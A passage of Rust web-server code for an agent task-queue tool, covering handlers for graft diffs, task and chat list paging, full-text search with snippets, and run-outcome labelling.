.map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
Ok((
[
(header::CONTENT_TYPE, "text/plain; charset=utf-8"),
(header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
],
patch,
))
}
const GRAFT_DIFF_MAX: usize = 400 * 1024;
const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
async fn run_graft_diff(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<impl IntoResponse> {
let (repo, pre, post) = blocking(move || {
let id = resolve_run(&ui.runs, &id)?;
let state = read_run(&ui.runs, &id)?;
let g = state
.graft
.as_ref()
.ok_or_else(|| ApiError::not_found("this run has no graft"))?;
let post = g
.post
.clone()
.ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
Ok((state.repo.clone(), g.pre.clone(), post))
})
.await?;
let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
if !hex(&pre) || !hex(&post) {
return Err(ApiError::not_found("the recorded commits are not valid"));
}
let out = tokio::time::timeout(
GRAFT_DIFF_TIMEOUT,
crate::git::git_raw(
&repo,
&[
"diff",
"--no-color",
"--no-ext-diff",
"-M",
&pre,
&post,
"--",
],
),
)
.await
.map_err(|_| ApiError::not_found("git diff timed out"))?
.map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
if out.code != Some(0) {
return Err(ApiError::not_found(
"the recorded commits are no longer in the repository",
));
}
let mut body = out.stdout;
if body.len() > GRAFT_DIFF_MAX {
let mut cut = GRAFT_DIFF_MAX;
while !body.is_char_boundary(cut) {
cut -= 1;
}
body.truncate(cut);
body.push_str("\n... diff truncated ...");
}
Ok((
[
(header::CONTENT_TYPE, "text/plain; charset=utf-8"),
(header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
],
body,
))
}
#[derive(Debug, Serialize)]
struct TaskView {
#[serde(flatten)]
task: Task,
source_label: String,
source_link: Option<SourceLink>,
status_str: &'static str,
instruction_md: Vec<md::Node>,
waits_on: Vec<String>,
stuck_roots: Vec<String>,
blockers: Vec<crate::blockers::BlockerView>,
recovery: Option<String>,
}
impl From<Task> for TaskView {
fn from(task: Task) -> Self {
Self {
source_label: task.source.label(),
source_link: source_link(&task.source),
status_str: task.status.as_str(),
instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
waits_on: Vec::new(),
stuck_roots: Vec::new(),
blockers: Vec::new(),
recovery: task_recovery(&task),
task,
}
}
}
impl TaskView {
fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
let pending = crate::blockers::Inventory::recovery_views(&self.task, questions);
if !pending.is_empty() {
self.recovery = Some(format!(
"Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
self.recovery.as_deref().unwrap_or_default()
));
}
for decision in pending {
self.blockers.retain(|view| view.id != decision.id);
self.blockers.push(decision);
}
}
self
}
fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
let waits_on = inv.waits_on(&task);
let stuck_roots = inv
.stuck_roots(&task)
.iter()
.map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
.collect();
Self {
blockers: inv.blocker_views(&task),
waits_on,
stuck_roots,
..Self::from(task)
}
}
}
fn task_recovery(task: &Task) -> Option<String> {
use crate::queue::{HoldSource, TaskStatus};
if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
return None;
}
let mut text = String::new();
if task.status == TaskStatus::Blocked {
text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
let restored = match task.blocked_from {
Some(TaskStatus::Running) => TaskStatus::Queued,
Some(status) => status,
None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
None => TaskStatus::Queued,
};
text.push_str(&format!(
"After all dependencies resolve, the scheduler restores {}. ",
restored.as_str()
));
if restored != TaskStatus::Held {
return Some(text);
}
}
text.push_str(match task.hold_source {
Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
Some(HoldSource::Machine) if task.hold_reason.as_deref().is_some_and(crate::disk::is_gate_reason) =>
"Machine disk hold: free disk space or restore measurement. Recorded disk figures describe the hold time, not current capacity. If no recovery decision is pending, triage rechecks the disk gate and can automatically queue after recovery is verified. Pending decisions must be resolved or applied first; disk admission checks still apply.",
Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
});
Some(text)
}
#[derive(Debug, Default, Deserialize)]
#[serde(default)]
struct ReposQuery {
refresh: u8,
}
async fn repos_list(
State(ui): State<Arc<Ui>>,
Query(q): Query<ReposQuery>,
) -> ApiResult<Json<Vec<repos::Repo>>> {
let refresh = q.refresh != 0;
blocking(move || {
let (cfg, _) = Config::discover(&ui.repo, None)?;
Ok(Json(ui.repos_cache.list(
&cfg.repos.roots,
Duration::from_secs(cfg.repos.scan_ttl),
refresh,
)))
})
.await
}
#[derive(Debug, Default, Deserialize)]
struct SettingsQuery {
repo: Option<PathBuf>,
}
fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
let paths: Vec<PathBuf> = ui
.machine_config
.iter()
.filter(|p| p.is_file())
.cloned()
.collect();
if paths.is_empty() {
Ok(Config::autodetected())
} else {
Config::load_layers(&paths)
}
});
let mut known = cfg
.map(|cfg| {
ui.repos_cache.list(
&cfg.repos.roots,
Duration::from_secs(cfg.repos.scan_ttl),
refresh,
)
})
.unwrap_or_default();
let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
if !known.iter().any(|r| r.path == path) {
known.push(repos::Repo {
name: path
.file_name()
.unwrap_or_default()
.to_string_lossy()
.into_owned(),
path,
});
}
known
}
fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
let canonical = requested.canonicalize().ok();
let mut known = settings_repositories(ui, false);
let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
if !known.iter().any(matches) {
known = settings_repositories(ui, true);
}
let repo = known
.iter()
.find(|r| matches(r))
.map(|r| r.path.clone())
.ok_or_else(|| ApiError {
text_reason: None,
status: StatusCode::UNPROCESSABLE_ENTITY,
message: "Choose a known repository from the Settings selector.".to_owned(),
})?;
Ok((repo, known))
}
async fn settings_get(
State(ui): State<Arc<Ui>>,
Query(q): Query<SettingsQuery>,
) -> ApiResult<Json<settings::SettingsView>> {
blocking(move || {
let (repo, known) = settings_context(&ui, q)?;
Ok(Json(settings::view_with_repos(
&repo,
ui.machine_config.as_deref(),
&known,
)))
})
.await
}
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct RolesBody {
revision: String,
#[serde(default)]
roles: std::collections::BTreeMap<String, Vec<String>>,
#[serde(default)]
counts: std::collections::BTreeMap<String, serde_json::Value>,
}
async fn settings_put_roles(
State(ui): State<Arc<Ui>>,
Query(q): Query<SettingsQuery>,
body: std::result::Result<Json<RolesBody>, JsonRejection>,
) -> ApiResult<Json<settings::SettingsView>> {
let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
blocking(move || {
let (repo, known) = settings_context(&ui, q)?;
settings::save_with_repos(
&repo,
ui.machine_config.as_deref(),
&body.revision,
&body.roles,
&body.counts,
&known,
)
.map(Json)
.map_err(|e| match e {
settings::SaveError::Conflict(m) => ApiError::conflict(m),
settings::SaveError::Refused(m) => ApiError {
text_reason: None,
status: StatusCode::UNPROCESSABLE_ENTITY,
message: m,
},
settings::SaveError::Internal(m) => ApiError::internal(m),
})
})
.await
}
async fn queue_list(
State(ui): State<Arc<Ui>>,
Query(q): Query<ListQuery>,
) -> ApiResult<Json<Vec<TaskView>>> {
blocking(move || {
let tasks = ui.queue.list();
let inv =
crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
Ok(Json(
tasks
.into_iter()
.filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
.map(|t| TaskView::with_inventory(t, &inv))
.collect(),
))
})
.await
}
#[derive(Debug, Default, Deserialize)]
struct PageQuery {
before: Option<String>,
}
#[derive(Serialize)]
struct StorePage<T> {
rows: Vec<T>,
next: Option<String>,
}
const STORE_PAGE_SIZE: usize = 16;
#[derive(Debug)]
struct ListWalk {
token: u64,
talks: bool,
opened: std::time::Instant,
ids: Arc<Vec<String>>,
initial_end: usize,
}
fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
page_ids_with(ui, talks, q, open_talk_ids)
}
fn page_ids_with(
ui: &Ui,
talks: bool,
q: PageQuery,
classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
) -> ApiResult<(Vec<String>, Option<String>)> {
let mut walks = ui
.monitor
.list_walks
.lock()
.unwrap_or_else(PoisonError::into_inner);
walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
let (token, offset) = cursor
.split_once(':')
.ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
let token = token
.parse::<u64>()
.map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
let offset = offset
.parse::<usize>()
.map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
let walk = walks
.iter()
.find(|walk| walk.token == token && walk.talks == talks)
.ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
(token, walk.ids.clone(), offset, walk.initial_end)
} else {
drop(walks);
let root = if talks {
ui.talks.root()
} else {
ui.queue.root()
};
let mut ids = crate::queue::record_ids(root, "json")?;
ids.sort_unstable_by(|a, b| b.cmp(a));
let initial_end = if talks {
let open = classify(ui, &ids);
ids.sort_by_key(|id| !open.contains(id));
open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
} else {
STORE_PAGE_SIZE.min(ids.len())
};
let ids = Arc::new(ids);
walks = ui
.monitor
.list_walks
.lock()
.unwrap_or_else(PoisonError::into_inner);
walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
let mut token = crate::rng::entropy();
while walks.iter().any(|walk| walk.token == token) {
token = crate::rng::entropy();
}
if walks.len() >= 16 {
walks.remove(0);
}
walks.push(ListWalk {
token,
talks,
opened: std::time::Instant::now(),
ids: ids.clone(),
initial_end,
});
(token, ids, 0, initial_end)
};
if offset > ids.len() {
return Err(ApiError::bad_request("Invalid list cursor"));
}
let end = if offset == 0 {
initial_end
} else {
offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
};
let next = (end < ids.len()).then(|| format!("{token}:{end}"));
Ok((ids[offset..end].to_vec(), next))
}
async fn queue_page(
State(ui): State<Arc<Ui>>,
Query(q): Query<PageQuery>,
) -> ApiResult<Json<StorePage<TaskView>>> {
blocking(move || {
let (ids, next) = page_ids(&ui, false, q)?;
let tasks: Vec<_> = ids
.into_iter()
.filter_map(|id| ui.queue.get(&id).ok())
.collect();
let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
let rows = tasks
.into_iter()
.map(|task| TaskView::with_inventory(task, &inv))
.collect();
Ok(Json(StorePage { rows, next }))
})
.await
}
#[derive(Debug, Clone, Serialize)]
struct TalkListView {
title: Option<talk::ChatTitle>,
id: String,
repo: PathBuf,
agent: String,
status: talk::TalkStatus,
turns: Vec<TalkListTurn>,
turn_count: usize,
unread_count: usize,
context: talk::ContextUsage,
#[serde(skip)]
agent_times: Vec<Timestamp>,
thinking: bool,
created_at: Timestamp,
updated_at: Timestamp,
}
#[derive(Debug, Clone, Serialize)]
struct TalkListTurn {
who: talk::Who,
at: Timestamp,
body: String,
}
fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
let reads: HashMap<String, Timestamp> = headers
.get("x-talk-reads")
.and_then(|v| v.to_str().ok())
.and_then(|v| serde_json::from_str(v).ok())
.unwrap_or_default();
let mut index = ui
.monitor
.talk_index
.lock()
.unwrap_or_else(PoisonError::into_inner);
if index.len() > 1000 {
let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
if index.len() > 1000 {
index.retain(|id, _| keep.contains(id.as_str()));
}
}
ids.into_iter()
.filter_map(|id| {
let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
if index.get(&id).is_none_or(|(old, _)| *old != identity) {
let talk = ui.talks.get(&id).ok()?;
#[cfg(test)]
ui.monitor
.talk_parses
.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
let last = talk.turns.len().checked_sub(1);
let turns = talk
.turns
.iter()
.enumerate()
.filter(|(i, _)| Some(*i) == first || Some(*i) == last)
.map(|(_, t)| TalkListTurn {
who: t.who,
at: t.at,
body: t
.body
.lines()
.next()
.unwrap_or_default()
.chars()
.take(240)
.collect(),
})
.collect();
let row = TalkListView {
title: talk.title.clone(),
agent_times: talk
.turns
.iter()
.filter(|t| t.who == talk::Who::Agent)
.map(|t| t.at)
.collect(),
turn_count: talk.turns.len(),
unread_count: 0,
context: talk::context_usage(&talk, None),
turns,
thinking: false,
id: talk.id,
repo: talk.repo,
agent: talk.agent,
status: talk.status,
created_at: talk.created_at,
updated_at: talk.updated_at,
};
index.insert(id.clone(), (identity, row));
}
let row = &index.get(&id)?.1;
let mut row = TalkListView {
title: row.title.clone(),
unread_count: row
.agent_times
.iter()
.filter(|at| reads.get(&id).is_none_or(|read| *at > read))
.count(),
agent_times: Vec::new(),
id: row.id.clone(),
repo: row.repo.clone(),
agent: row.agent.clone(),
status: row.status,
context: row.context.clone(),
turns: row.turns.clone(),
turn_count: row.turn_count,
thinking: false,
created_at: row.created_at,
updated_at: row.updated_at,
};
row.thinking = ui.is_thinking(&id);
Some(row)
})
.collect()
}
async fn talks_page(
State(ui): State<Arc<Ui>>,
Query(q): Query<PageQuery>,
headers: header::HeaderMap,
) -> ApiResult<Json<StorePage<TalkListView>>> {
bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
let (ids, next) = page_ids(&ui, true, q)?;
Ok(Json(StorePage {
rows: talk_rows(&ui, ids, &headers),
next,
}))
})
.await
}
async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
blocking(move || {
let tasks = ui.indexed_tasks()?;
Ok(Json(TaskCountsView::from(
crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
)))
})
.await
}
const SEARCH_MAX_HITS: usize = 100;
const SEARCH_MAX_QUERY: usize = 200;
const SEARCH_MAX_TERMS: usize = 8;
const SNIPPET_BEFORE: usize = 50;
const SNIPPET_AFTER: usize = 110;
#[derive(Debug, Deserialize)]
struct SearchQuery {
#[serde(default)]
scope: String,
#[serde(default)]
q: String,
}
#[derive(Debug, Serialize, PartialEq, Eq)]
struct SnippetPart {
text: String,
hit: bool,
}
#[derive(Debug, Serialize)]
struct SearchHit {
id: String,
field: String,
snippet: Vec<SnippetPart>,
#[serde(skip_serializing_if = "Option::is_none")]
run: Option<RunSummary>,
}
#[derive(Debug, Serialize)]
struct SearchView {
scope: String,
q: String,
hits: Vec<SearchHit>,
total: usize,
truncated: bool,
unreadable: usize,
}
fn text_leaves<'a>(
value: &'a serde_json::Value,
field: &'a str,
out: &mut Vec<(&'a str, &'a str)>,
) {
match value {
serde_json::Value::String(s) => out.push((field, s)),
serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
_ => {}
}
}
fn fold_char(c: char) -> char {
c.to_lowercase().next().unwrap_or(c)
}
fn search_terms(q: &str) -> Vec<String> {
let mut terms: Vec<String> = Vec::new();
for t in q.split_whitespace() {
let t = t.to_lowercase();
if !terms.contains(&t) {
terms.push(t);
}
}
terms
}
fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
let mut first: Option<usize> = None;
for term in terms {
let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
first = Some(first.map_or(at, |f| f.min(at)));
}
let (field, text) = leaves[first?];
Some(SearchHit {
id: String::new(),
field: field.to_owned(),
snippet: snippet_of(text, terms),
run: None,
})
}
fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
let chars: Vec<char> = text.chars().collect();
let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
let needles: Vec<Vec<char>> = terms
.iter()
.map(|t| t.chars().map(fold_char).collect())
.collect();
let find = |from: usize, to: usize| -> Option<(usize, usize)> {
let mut best: Option<(usize, usize)> = None;
for n in needles.iter().filter(|n| !n.is_empty()) {
if n.len() > chars.len() || to == 0 {
continue;
}
let last = (to - 1).min(chars.len() - n.len());
if from > last {
continue;
}
if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
&& best.is_none_or(|(b, _)| i < b)
{
best = Some((i, i + n.len()));
}
}
best
};
let Some((start, _)) = find(0, chars.len()) else {
let head: String = chars.iter().take(SNIPPET_AFTER).collect();
return vec![SnippetPart {
text: head.split_whitespace().collect::<Vec<_>>().join(" "),
hit: false,
}];
};
let lo = start.saturating_sub(SNIPPET_BEFORE);
let hi = (start + SNIPPET_AFTER).min(chars.len());
let mut parts: Vec<SnippetPart> = Vec::new();
let mut push = |s: &[char], hit: bool| {
if s.is_empty() {
return;
}
let text: String = s.iter().collect();
match parts.last_mut() {
Some(p) if p.hit == hit => p.text.push_str(&text),
_ => parts.push(SnippetPart { text, hit }),
}
};
if lo > 0 {
push(&['\u{2026}'], false);
}
let mut at = lo;
while at < hi {
match find(at, hi) {
Some((s, e)) => {
push(&chars[at..s], false);
let shown = e.min(hi);
push(&chars[s..shown], true);
at = shown;
}
None => {
push(&chars[at..hi], false);
at = hi;
}
}
}
if hi < chars.len() {
push(&['\u{2026}'], false);
}
let mut prev_space = false;
for p in &mut parts {
let mut out = String::with_capacity(p.text.len());
for c in p.text.chars() {
if c.is_whitespace() {
if !prev_space {
out.push(' ');
}
prev_space = true;
} else {
out.push(c);
prev_space = false;
}
}
p.text = out;
}
parts.retain(|p| !p.text.is_empty());
parts
}
fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
where
I: IntoIterator<Item = (String, serde_json::Value)>,
{
for (id, doc) in docs {
let mut leaves = Vec::new();
leaves.push(("id", id.as_str()));
text_leaves(&doc, "", &mut leaves);
if let Some(mut hit) = search_document(terms, &leaves) {
view.total += 1;
if view.hits.len() < SEARCH_MAX_HITS {
hit.id = id;
view.hits.push(hit);
}
}
}
view.truncated = view.total > view.hits.len();
}
fn talk_search_doc(talk: &Talk) -> serde_json::Value {
let opener = talk
.title
.as_ref()
.filter(|t| !t.text.is_empty())
.map(|t| t.text.as_str())
.or_else(|| {
talk.turns
.iter()
.find(|t| t.who == talk::Who::Operator)
.map(|t| t.body.as_str())
})
.and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
.unwrap_or("");
let title: String = if opener.chars().count() > 96 {
opener.chars().take(95).chain(['\u{2026}']).collect()
} else {
opener.to_owned()
};
let turns: Vec<serde_json::Value> = talk
.turns
.iter()
.map(|t| {
let who = match t.who {
crate::talk::Who::Operator => "operator",
crate::talk::Who::Agent => "agent",
};
serde_json::json!({ who: t.body })
})
.collect();
serde_json::json!({ "title": title, "turns": turns })
}
async fn search_get(
State(ui): State<Arc<Ui>>,
Query(q): Query<SearchQuery>,
) -> ApiResult<Json<SearchView>> {
let query = q.q.trim().to_owned();
if query.is_empty() {
return Err(ApiError::bad_request("q must not be empty"));
}
if query.chars().count() > SEARCH_MAX_QUERY {
return Err(ApiError::bad_request(format!(
"q is longer than {SEARCH_MAX_QUERY} characters"
)));
}
let terms = search_terms(&query);
if terms.len() > SEARCH_MAX_TERMS {
return Err(ApiError::bad_request(format!(
"q has more than {SEARCH_MAX_TERMS} terms"
)));
}
let scope = q.scope;
if scope != "runs" && scope != "tasks" && scope != "chats" {
return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
}
blocking(move || {
let mut view = SearchView {
scope: scope.clone(),
q: query,
hits: Vec::new(),
total: 0,
truncated: false,
unreadable: 0,
};
if scope == "runs" {
let mut unreadable = 0;
let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
match body.and_then(|b| serde_json::from_str(&b).ok()) {
Some(v) => Some((id, v)),
None => {
unreadable += 1;
None
}
}
});
search_docs(&terms, docs, &mut view);
view.unreadable = unreadable;
let (open_runs, claimed, superseded) = run_row_inputs(&ui);
let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
for hit in &mut view.hits {
if let Ok(state) = read_run(&ui.runs, &hit.id) {
hit.run = summarize(
[state],
&open_runs,
&claimed,
&superseded,
|p| probe.borrow_mut().status(p),
|p| probe.borrow_mut().started_at(p),
)
.pop();
}
}
} else if scope == "chats" {
let (talks, unreadable) = ui.talks.list_counting_unreadable();
view.unreadable = unreadable;
search_docs(
&terms,
talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
&mut view,
);
} else {
let docs = ui.queue.list().into_iter().filter_map(|t| {
let mut v = serde_json::to_value(&t).ok()?;
if let Some(o) = v.as_object_mut() {
o.insert("filed_by".to_owned(), t.source.label().into());
}
Some((t.id, v))
});
search_docs(&terms, docs, &mut view);
}
Ok(Json(view))
})
.await
}
#[derive(Debug, Serialize)]
struct TaskRunView {
activity: Option<String>,
n: usize,
id: String,
short: String,
kind: &'static str,
status: Option<&'static str>,
readable: bool,
provisional: bool,
description: String,
outcome: String,
created_at: Option<Timestamp>,
pr: Option<String>,
exit: RunExit,
attempt: AttemptCost,
exit_label: String,
later_pass: Option<usize>,
pass_n: usize,
passes_of_run: usize,
pass: Option<PassView>,
branch: Option<String>,
badge: Option<String>,
}
#[derive(Debug, Clone, PartialEq, Serialize)]
struct PassView {
index: usize,
resumed: bool,
started_at: Timestamp,
ended_at: Option<Timestamp>,
end: &'static str,
cause: Option<crate::run::ParkCause>,
label: String,
cost: Option<crate::queue::PassCost>,
}
impl PassView {
fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
use crate::run::PassEnd;
let (end, cause, label) = match &p.end {
None => ("open", None, "still open".to_owned()),
Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
Some(PassEnd::Unrecorded) => (
"unrecorded",
None,
"stopped without recording why (a crash, a kill or a restart; not known)"
.to_owned(),
),
};
Self {
index: p.index,
resumed: p.resumed,
started_at: p.started_at,
ended_at: p.ended_at,
end,
cause,
label,
cost: settled.map(|t| t.cost),
}
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
#[serde(rename_all = "snake_case")]
enum RunExit {
Unreadable,
Interrupted,
Parked,
MachineBlocked,
QuotaStall,
ResumedQuotaStall,
Merged,
Ready,
Superseded,
AlreadyInBase,
Stalled,
HeldWithPr,
NoopHeld,
Spent,
InProgress,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
#[serde(rename_all = "snake_case")]
enum AttemptCost {
Spent,
Refunded,
None,
Unknown,
}
impl RunExit {
fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
let Some(s) = s else {
return Self::Unreadable;
};
let status = s.status;
if resumed_later {
Self::Interrupted
} else if s.parked {
Self::Parked
} else if status == RunStatus::Blocked && s.resource_block.is_some() {
Self::MachineBlocked
} else if !status.done() {
Self::InProgress
} else if matches!(status, RunStatus::Merged) {
Self::Merged
} else if matches!(status, RunStatus::Ready) {
Self::Ready
} else if matches!(status, RunStatus::Superseded) {
Self::Superseded
} else if matches!(status, RunStatus::AlreadyInBase) {
Self::AlreadyInBase
} else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
|| matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
{
if resumed {
Self::ResumedQuotaStall
} else {
Self::QuotaStall
}
} else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
Self::HeldWithPr
} else if matches!(status, RunStatus::VerifiedNoop) {
Self::NoopHeld
} else if matches!(status, RunStatus::Stalled) {
Self::Stalled
} else {
Self::Spent
}
}
fn cost(self) -> AttemptCost {
match self {
Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
Self::Merged
| Self::Ready
| Self::Stalled
| Self::HeldWithPr
| Self::NoopHeld
| Self::Spent => AttemptCost::Spent,
Self::InProgress => AttemptCost::None,
Self::AlreadyInBase => AttemptCost::Refunded,
Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
AttemptCost::Unknown
}
}
}
fn edge_label(self, status: Option<&str>) -> String {
match self {
Self::Unreadable => "record unreadable".to_owned(),
Self::Interrupted => "interrupted before the run finished".to_owned(),
Self::Parked => "parked, attempt refunded".to_owned(),
Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
Self::Merged => "merged".to_owned(),
Self::Ready => "ready, not merged".to_owned(),
Self::Superseded => "superseded by a later attempt".to_owned(),
Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
Self::HeldWithPr => "blocked, PR left open".to_owned(),
Self::NoopHeld => "verified no-op".to_owned(),
Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
Self::InProgress => "in progress".to_owned(),
}
}
fn explains(self, end: TaskStatus) -> bool {
match self {
Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
Self::Unreadable | Self::Superseded | Self::Ready => true,
_ => end != TaskStatus::Done,
}
}
}
#[derive(Debug, Serialize)]
struct TaskDetailView {
#[serde(flatten)]
task: TaskView,
max_attempts: usize,
history: Vec<TaskRunView>,
passes_total: usize,
runs_distinct: usize,
flow: FlowView,
followup_origin: Option<FollowUpOrigin>,
runs_unreadable: usize,
attempts_note: &'static str,
}
const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
fn review_branch_of(instruction: &str) -> Option<&str> {
let rest = instruction.strip_prefix("Review the work already on branch `")?;
rest.split('`').next().filter(|b| !b.is_empty())
}
#[derive(Default)]
struct RunSlot<'a> {
n: usize,
resumed: bool,
resumed_later: Option<usize>,
prior: Option<(&'a str, RunStatus)>,
last: bool,
pass: Option<&'a crate::run::RunPass>,
settled: Option<&'a crate::queue::TaskPass>,
pass_n: usize,
passes_of_run: usize,
}
fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
let RunSlot {
n,
resumed,
resumed_later,
prior,
last,
pass,
settled,
pass_n,
passes_of_run,
} = at;
let short = run::short_of(id).to_owned();
let Some(s) = state else {
return TaskRunView {
activity: None,
n,
id: id.to_owned(),
short,
kind: "unknown",
status: None,
readable: false,
provisional: false,
description:
"This run's record could not be read by this build (written by a different \
magi, or removed), so what kind of attempt it was is unknown."
.to_owned(),
outcome: String::new(),
created_at: None,
pr: None,
exit: RunExit::Unreadable,
attempt: AttemptCost::Unknown,
exit_label: RunExit::Unreadable.edge_label(None),
later_pass: resumed_later,
pass_n,
passes_of_run,
pass: None,
branch: None,
badge: None,
};
};
let branch = review_branch_of(&s.instruction);
let kind = if resumed {
"resume"
} else if branch.is_some() {
"review"
} else if task.solo || s.candidates.len() == 1 {
"solo"
} else {
"competition"
};
let mut description = match kind {
"resume" => {
format!("Resumed run {short}: the same run carried on instead of competing again.")
}
"review" => format!(
"Review the work already on branch `{}`: a review-only pass, no new implementation.",
branch.unwrap_or_default()
),
"solo" => "Solo run: one implementer straight into review.".to_owned(),
_ => format!(
"Competition: {} candidates judged blind.",
s.candidates.len().max(1)
),
};
if !resumed && let Some((p, st)) = prior {
description.push_str(&format!(
" A retry: run {p} before it ended {}.",
st.display_label()
));
}
let status = s.status;
let provisional = matches!(status, RunStatus::Stalled)
|| s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
let head = if resumed_later.is_some() {
String::new()
} else {
match status {
RunStatus::Merged => "Merged.".to_owned(),
RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
RunStatus::AlreadyInBase => {
"Already in the base: this change landed under other commits, nothing was left to land."
.to_owned()
}
RunStatus::Stalled => {
"Stalled: the judging panel never reached a quorum, so there is no verdict."
.to_owned()
}
RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
RunStatus::VerifiedNoop => {
"Verified no-op: the candidates found nothing to change.".to_owned()
}
other if other.done() => format!("Ended {}.", other.display_label()),
other => format!("In progress ({}).", other.display_label()),
}
};
